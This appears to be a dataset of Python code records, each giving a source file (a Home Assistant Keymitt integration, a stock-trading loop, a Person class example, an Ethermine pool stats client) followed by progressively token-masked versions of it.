[ "\"\"\"Integration to integrate Keymitt BLE devices with Home Assistant.\"\"\"\nfrom __future__ import annotations\n\nimport logging\nfrom typing import TYPE_CHECKING, Any\n\nfrom microbot import MicroBotApiClient, parse_advertisement_data\n\nfrom homeassistant.components import bluetooth\nfrom homeassistant.components.bluetooth.passive_update_coordinator import (\n PassiveBluetoothDataUpdateCoordinator,\n)\nfrom homeassistant.const import Platform\nfrom homeassistant.core import HomeAssistant, callback\n\nif TYPE_CHECKING:\n from bleak.backends.device import BLEDevice\n\n_LOGGER: logging.Logger = logging.getLogger(__package__)\nPLATFORMS: list[str] = [Platform.SWITCH]\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n \"\"\"Class to manage fetching data from the MicroBot.\"\"\"\n\n def __init__(\n self,\n hass: HomeAssistant,\n client: MicroBotApiClient,\n ble_device: BLEDevice,\n ) -> None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(\n hass,\n _LOGGER,\n ble_device.address,\n bluetooth.BluetoothScanningMode.ACTIVE,\n )\n\n @callback\n def _async_handle_bluetooth_event(\n self,\n service_info: bluetooth.BluetoothServiceInfoBleak,\n change: bluetooth.BluetoothChange,\n ) -> None:\n \"\"\"Handle a Bluetooth event.\"\"\"\n if adv := parse_advertisement_data(\n service_info.device, service_info.advertisement\n ):\n self.data = adv.data\n _LOGGER.debug(\"%s: MicroBot data: %s\", self.ble_device.address, self.data)\n self.api.update_from_advertisement(adv)\n super()._async_handle_bluetooth_event(service_info, change)\n", "<docstring token>\nfrom __future__ import annotations\nimport logging\nfrom typing import TYPE_CHECKING, Any\nfrom microbot import MicroBotApiClient, parse_advertisement_data\nfrom homeassistant.components import bluetooth\nfrom homeassistant.components.bluetooth.passive_update_coordinator import PassiveBluetoothDataUpdateCoordinator\nfrom homeassistant.const import Platform\nfrom homeassistant.core import HomeAssistant, callback\nif TYPE_CHECKING:\n from bleak.backends.device import BLEDevice\n_LOGGER: logging.Logger = logging.getLogger(__package__)\nPLATFORMS: list[str] = [Platform.SWITCH]\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n \"\"\"Class to manage fetching data from the MicroBot.\"\"\"\n\n def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,\n ble_device: BLEDevice) ->None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(hass, _LOGGER, ble_device.address, bluetooth.\n BluetoothScanningMode.ACTIVE)\n\n @callback\n def _async_handle_bluetooth_event(self, service_info: bluetooth.\n BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None:\n \"\"\"Handle a Bluetooth event.\"\"\"\n if (adv := parse_advertisement_data(service_info.device,\n service_info.advertisement)):\n self.data = adv.data\n _LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address,\n self.data)\n self.api.update_from_advertisement(adv)\n super()._async_handle_bluetooth_event(service_info, change)\n", "<docstring token>\n<import token>\nif TYPE_CHECKING:\n from bleak.backends.device import BLEDevice\n_LOGGER: logging.Logger = logging.getLogger(__package__)\nPLATFORMS: list[str] = [Platform.SWITCH]\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n \"\"\"Class to manage fetching data from the MicroBot.\"\"\"\n\n def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,\n ble_device: BLEDevice) ->None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(hass, _LOGGER, ble_device.address, bluetooth.\n BluetoothScanningMode.ACTIVE)\n\n @callback\n def _async_handle_bluetooth_event(self, service_info: bluetooth.\n BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None:\n \"\"\"Handle a Bluetooth event.\"\"\"\n if (adv := parse_advertisement_data(service_info.device,\n service_info.advertisement)):\n self.data = adv.data\n _LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address,\n self.data)\n self.api.update_from_advertisement(adv)\n super()._async_handle_bluetooth_event(service_info, change)\n", "<docstring token>\n<import token>\n<code token>\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n \"\"\"Class to manage fetching data from the MicroBot.\"\"\"\n\n def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,\n ble_device: BLEDevice) ->None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(hass, _LOGGER, ble_device.address, bluetooth.\n BluetoothScanningMode.ACTIVE)\n\n @callback\n def _async_handle_bluetooth_event(self, service_info: bluetooth.\n BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None:\n \"\"\"Handle a Bluetooth event.\"\"\"\n if (adv := parse_advertisement_data(service_info.device,\n service_info.advertisement)):\n self.data = adv.data\n _LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address,\n self.data)\n self.api.update_from_advertisement(adv)\n super()._async_handle_bluetooth_event(service_info, change)\n", "<docstring token>\n<import token>\n<code token>\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n <docstring token>\n\n def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,\n ble_device: BLEDevice) ->None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(hass, _LOGGER, ble_device.address, bluetooth.\n BluetoothScanningMode.ACTIVE)\n\n @callback\n def _async_handle_bluetooth_event(self, service_info: bluetooth.\n BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None:\n \"\"\"Handle a Bluetooth event.\"\"\"\n if (adv := parse_advertisement_data(service_info.device,\n service_info.advertisement)):\n self.data = adv.data\n _LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address,\n self.data)\n self.api.update_from_advertisement(adv)\n super()._async_handle_bluetooth_event(service_info, change)\n", "<docstring token>\n<import token>\n<code token>\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n <docstring token>\n\n def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,\n ble_device: BLEDevice) ->None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(hass, _LOGGER, ble_device.address, bluetooth.\n BluetoothScanningMode.ACTIVE)\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n <docstring token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<class token>\n" ]
false
9,956
da903409d75ba2a07443317e30bce568444fbca5
n=int(input()) A=list(map(int,input().split())) g=1000 for s1,s2 in zip(A[:-1],A[1:]): if s1<s2: stockNum=g//s1 g+=stockNum*(s2-s1) print(g)
[ "n=int(input())\nA=list(map(int,input().split()))\n\ng=1000\n\nfor s1,s2 in zip(A[:-1],A[1:]):\n if s1<s2:\n stockNum=g//s1\n g+=stockNum*(s2-s1)\n\nprint(g)\n\n", "n = int(input())\nA = list(map(int, input().split()))\ng = 1000\nfor s1, s2 in zip(A[:-1], A[1:]):\n if s1 < s2:\n stockNum = g // s1\n g += stockNum * (s2 - s1)\nprint(g)\n", "<assignment token>\nfor s1, s2 in zip(A[:-1], A[1:]):\n if s1 < s2:\n stockNum = g // s1\n g += stockNum * (s2 - s1)\nprint(g)\n", "<assignment token>\n<code token>\n" ]
false
9,957
11feb13f38f2484c867a8b3fa525ffecf419dfe5
''' Classes ''' class Person: alive = True ''' Possible Attributes for a Person: 1. Name 2. Age 3. Gender ''' def __init__(self, name, age, gender): self.name = name self.age = age self.gender = gender self.salary = 0 def greet(self): print("Hello ", self.name) def greetByTime(self, time="Morning"): print("Hello", self.name, " . ", time) print("Accessing Static Variable", Person.alive) p = Person("John", 30, "Male") print("\n\nAccessing Functions \n\n") p.greet() p.greetByTime() p.greetByTime("Goodnight") print("\n\nAccessing Variables \n\n") print(p.name, p.age, p.gender)
[ "'''\n\nClasses\n\n'''\n\n\nclass Person:\n alive = True\n\n '''\n\n Possible Attributes for a Person:\n\n 1. Name\n 2. Age\n 3. Gender\n\n '''\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print(\"Hello \", self.name)\n\n def greetByTime(self, time=\"Morning\"):\n print(\"Hello\", self.name, \" . \", time)\n\n\nprint(\"Accessing Static Variable\", Person.alive)\np = Person(\"John\", 30, \"Male\")\n\nprint(\"\\n\\nAccessing Functions \\n\\n\")\np.greet()\np.greetByTime()\np.greetByTime(\"Goodnight\")\n\nprint(\"\\n\\nAccessing Variables \\n\\n\")\nprint(p.name, p.age, p.gender)\n", "<docstring token>\n\n\nclass Person:\n alive = True\n \"\"\"\n\n Possible Attributes for a Person:\n\n 1. Name\n 2. Age\n 3. Gender\n\n \"\"\"\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\nprint('Accessing Static Variable', Person.alive)\np = Person('John', 30, 'Male')\nprint(\"\"\"\n\nAccessing Functions \n\n\"\"\")\np.greet()\np.greetByTime()\np.greetByTime('Goodnight')\nprint(\"\"\"\n\nAccessing Variables \n\n\"\"\")\nprint(p.name, p.age, p.gender)\n", "<docstring token>\n\n\nclass Person:\n alive = True\n \"\"\"\n\n Possible Attributes for a Person:\n\n 1. Name\n 2. Age\n 3. Gender\n\n \"\"\"\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\nprint('Accessing Static Variable', Person.alive)\n<assignment token>\nprint(\"\"\"\n\nAccessing Functions \n\n\"\"\")\np.greet()\np.greetByTime()\np.greetByTime('Goodnight')\nprint(\"\"\"\n\nAccessing Variables \n\n\"\"\")\nprint(p.name, p.age, p.gender)\n", "<docstring token>\n\n\nclass Person:\n alive = True\n \"\"\"\n\n Possible Attributes for a Person:\n\n 1. Name\n 2. Age\n 3. Gender\n\n \"\"\"\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n\n\nclass Person:\n alive = True\n <docstring token>\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n\n\nclass Person:\n <assignment token>\n <docstring token>\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n\n\nclass Person:\n <assignment token>\n <docstring token>\n <function token>\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n\n\nclass Person:\n <assignment token>\n <docstring token>\n <function token>\n <function token>\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n\n\nclass Person:\n <assignment token>\n <docstring token>\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n<class token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,958
921c7255fad46c767f2ec1030ef9498da05b9bb1
# ethermine.py, Copyright (c) 2019, Nicholas Saparoff <[email protected]>: Original implementation from minermedic.pools.base_pool import BasePool from phenome_core.util.rest_api import RestAPI from minermedic.pools.helper import get_algo_index, get_coin_index, get_coin_cost """ EtherminePool This is the main Pool API for Ethermine. SEE: https://ethermine.org/api/worker#monitoring """ class EtherminePool(BasePool): # PER WORKER _MINER_URL_PER_WORKER = "https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats" # PER MINER _MINER_URL_PER_MINER = "https://api.ethermine.org/miner/:{MINER}/currentStats" # with Ethermine, the coin is Usually ETH, but could be ETC or ZCASH _DEFAULT_COIN_ = "ETH" def __init__(self, pool, pool_attrs): super(EtherminePool, self).__init__(pool, pool_attrs) def build_creation_parameters(self, pool, pool_attrs, pool_classname): # get the default creation parameters params = super(EtherminePool, self).build_creation_parameters(pool, pool_attrs, pool_classname) server_location = "US" if pool.startswith("eu1.etc") or pool.startswith("eu1.eth"): server_location = "Europe" elif pool.startswith("us1-etc"): server_location = "US" elif pool.startswith("us1.eth"): server_location = "US East" elif pool.startswith("us2.eth"): server_location = "US West" elif pool.startswith("asia1.eth"): server_location = "Asia" # Set the unique ID of the pool (give it a NAME, as the URL/IP may change) # POOL - LOCATION (COIN) params['unique_id'] = "ETHERMINE - " + server_location + " (" + self._DEFAULT_COIN_ + ")" return params def _clean_coin_address(self, miner): coin_address = miner.coin_address.lower() if coin_address.startswith('0x'): coin_address = coin_address[2:] elif coin_address.startswith('#0x'): coin_address = coin_address[3:] return coin_address def get_worker_stats(self, miner, worker): # build the miner URL url = self._MINER_URL_PER_WORKER.replace("{MINER}",self._clean_coin_address(miner)).replace("{WORKER}",worker) api = RestAPI(url=url, port=80) return api.get_json() def get_miner_stats(self, miner): # build the miner URL url = self._MINER_URL_PER_MINER.replace("{MINER}", self._clean_coin_address(miner)) api = RestAPI(url=url, port=80) return api.get_json() def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url): if algo == 'ethash': algo_idx = get_algo_index('daggerhashimoto') else: algo_idx = get_algo_index(algo) if algo_idx is -1: return False coin_idx = get_coin_index(self._DEFAULT_COIN_) # get the cost of the coin # TODO - get the currency from the config, do not assume USD coin_cost = get_coin_cost(self._DEFAULT_COIN_,'USD') success = False json = self.get_worker_stats(miner, worker) if json: success = self.parse_json(json, results, miner, worker, pool_id, algo, algo_idx, coin_idx, coin_cost) return success def parse_json(self, json, results, miner, worker, pool, algo, algo_idx, coin_idx, coin_cost): # get the record record = json['data'] if record == 'NO DATA': # check coin switch? miner_coin_idx = None if hasattr(miner, 'coin_idx'): # we have been mining so far miner_coin_idx = miner.coin if miner_coin_idx is None or miner_coin_idx != coin_idx: # reset the coin address, maybe switched coin miner.coin_address = '' # no data, just fail return False # API call results, speed is in units of Hashes speed_suffix = 'H' try: # get accepted hashrate speed_accepted = float(record['currentHashrate']) except: speed_accepted = 0.0 try: # get "reported" hashrate speed_reported = float(record['reportedHashrate']) except: speed_reported = None # now get the miner stats for profitability json_miner_stats = self.get_miner_stats(miner) # get the record record_miner_stats = json_miner_stats['data'] try: coins_per_minute = float(record_miner_stats['coinsPerMin']) except: coins_per_minute = 0.0 try: active_workers = float(record_miner_stats['activeWorkers']) except: active_workers = 1 # profitability is a measure of COIN / speed suffix / per DAY # ETHERMINE only gives coin estimates per MINER per MINUTE, not per WORKER # so we need to average it out by dividing by the # of active workers profitability = ((coins_per_minute * (60 * 24))/speed_accepted)/active_workers # finally set the API results into the main results object results.populate_pool_results(miner, worker, pool, algo, algo_idx, coin_idx, coin_cost, profitability, speed_accepted, speed_reported, speed_suffix) # if we got here, we were successful return True
[ "# ethermine.py, Copyright (c) 2019, Nicholas Saparoff <[email protected]>: Original implementation\n\nfrom minermedic.pools.base_pool import BasePool\nfrom phenome_core.util.rest_api import RestAPI\nfrom minermedic.pools.helper import get_algo_index, get_coin_index, get_coin_cost\n\n\"\"\"\n\nEtherminePool\n\n This is the main Pool API for Ethermine.\n SEE: https://ethermine.org/api/worker#monitoring\n \n\"\"\"\n\n\nclass EtherminePool(BasePool):\n\n # PER WORKER\n _MINER_URL_PER_WORKER = \"https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats\"\n\n # PER MINER\n _MINER_URL_PER_MINER = \"https://api.ethermine.org/miner/:{MINER}/currentStats\"\n\n # with Ethermine, the coin is Usually ETH, but could be ETC or ZCASH\n _DEFAULT_COIN_ = \"ETH\"\n\n def __init__(self, pool, pool_attrs):\n super(EtherminePool, self).__init__(pool, pool_attrs)\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n\n # get the default creation parameters\n params = super(EtherminePool, self).build_creation_parameters(pool, pool_attrs, pool_classname)\n\n server_location = \"US\"\n\n if pool.startswith(\"eu1.etc\") or pool.startswith(\"eu1.eth\"):\n server_location = \"Europe\"\n elif pool.startswith(\"us1-etc\"):\n server_location = \"US\"\n elif pool.startswith(\"us1.eth\"):\n server_location = \"US East\"\n elif pool.startswith(\"us2.eth\"):\n server_location = \"US West\"\n elif pool.startswith(\"asia1.eth\"):\n server_location = \"Asia\"\n\n # Set the unique ID of the pool (give it a NAME, as the URL/IP may change)\n # POOL - LOCATION (COIN)\n params['unique_id'] = \"ETHERMINE - \" + server_location + \" (\" + self._DEFAULT_COIN_ + \")\"\n\n return params\n\n def _clean_coin_address(self, miner):\n\n coin_address = miner.coin_address.lower()\n if coin_address.startswith('0x'):\n coin_address = coin_address[2:]\n elif coin_address.startswith('#0x'):\n coin_address = coin_address[3:]\n\n return coin_address\n\n def get_worker_stats(self, miner, worker):\n\n # build the miner URL\n url = self._MINER_URL_PER_WORKER.replace(\"{MINER}\",self._clean_coin_address(miner)).replace(\"{WORKER}\",worker)\n\n api = RestAPI(url=url, port=80)\n\n return api.get_json()\n\n def get_miner_stats(self, miner):\n\n # build the miner URL\n url = self._MINER_URL_PER_MINER.replace(\"{MINER}\", self._clean_coin_address(miner))\n\n api = RestAPI(url=url, port=80)\n\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n\n if algo_idx is -1:\n return False\n\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n\n # get the cost of the coin\n # TODO - get the currency from the config, do not assume USD\n coin_cost = get_coin_cost(self._DEFAULT_COIN_,'USD')\n\n success = False\n\n json = self.get_worker_stats(miner, worker)\n\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id, algo, algo_idx, coin_idx, coin_cost)\n\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx, coin_idx, coin_cost):\n\n # get the record\n record = json['data']\n\n if record == 'NO DATA':\n\n # check coin switch?\n miner_coin_idx = None\n\n if hasattr(miner, 'coin_idx'):\n # we have been mining so far\n miner_coin_idx = miner.coin\n\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n # reset the coin address, maybe switched coin\n miner.coin_address = ''\n\n # no data, just fail\n return False\n\n # API call results, speed is in units of Hashes\n speed_suffix = 'H'\n\n try:\n # get accepted hashrate\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n\n try:\n # get \"reported\" hashrate\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n\n # now get the miner stats for profitability\n json_miner_stats = self.get_miner_stats(miner)\n\n # get the record\n record_miner_stats = json_miner_stats['data']\n\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n\n # profitability is a measure of COIN / speed suffix / per DAY\n # ETHERMINE only gives coin estimates per MINER per MINUTE, not per WORKER\n # so we need to average it out by dividing by the # of active workers\n profitability = ((coins_per_minute * (60 * 24))/speed_accepted)/active_workers\n\n # finally set the API results into the main results object\n results.populate_pool_results(miner, worker, pool, algo, algo_idx, coin_idx, coin_cost, profitability,\n speed_accepted, speed_reported, speed_suffix)\n\n # if we got here, we were successful\n return True\n\n", "from minermedic.pools.base_pool import BasePool\nfrom phenome_core.util.rest_api import RestAPI\nfrom minermedic.pools.helper import get_algo_index, get_coin_index, get_coin_cost\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n _MINER_URL_PER_WORKER = (\n 'https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats'\n )\n _MINER_URL_PER_MINER = (\n 'https://api.ethermine.org/miner/:{MINER}/currentStats')\n _DEFAULT_COIN_ = 'ETH'\n\n def __init__(self, pool, pool_attrs):\n super(EtherminePool, self).__init__(pool, pool_attrs)\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n\n def _clean_coin_address(self, miner):\n coin_address = miner.coin_address.lower()\n if coin_address.startswith('0x'):\n coin_address = coin_address[2:]\n elif coin_address.startswith('#0x'):\n coin_address = coin_address[3:]\n return coin_address\n\n def get_worker_stats(self, miner, worker):\n url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.\n _clean_coin_address(miner)).replace('{WORKER}', worker)\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n", "<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n _MINER_URL_PER_WORKER = (\n 'https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats'\n )\n _MINER_URL_PER_MINER = (\n 'https://api.ethermine.org/miner/:{MINER}/currentStats')\n _DEFAULT_COIN_ = 'ETH'\n\n def __init__(self, pool, pool_attrs):\n super(EtherminePool, self).__init__(pool, pool_attrs)\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n\n def _clean_coin_address(self, miner):\n coin_address = miner.coin_address.lower()\n if coin_address.startswith('0x'):\n coin_address = coin_address[2:]\n elif coin_address.startswith('#0x'):\n coin_address = coin_address[3:]\n return coin_address\n\n def get_worker_stats(self, miner, worker):\n url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.\n _clean_coin_address(miner)).replace('{WORKER}', worker)\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n", "<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n\n def __init__(self, pool, pool_attrs):\n super(EtherminePool, self).__init__(pool, pool_attrs)\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n\n def _clean_coin_address(self, miner):\n coin_address = miner.coin_address.lower()\n if coin_address.startswith('0x'):\n coin_address = coin_address[2:]\n elif coin_address.startswith('#0x'):\n coin_address = coin_address[3:]\n return coin_address\n\n def get_worker_stats(self, miner, worker):\n url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.\n _clean_coin_address(miner)).replace('{WORKER}', worker)\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, 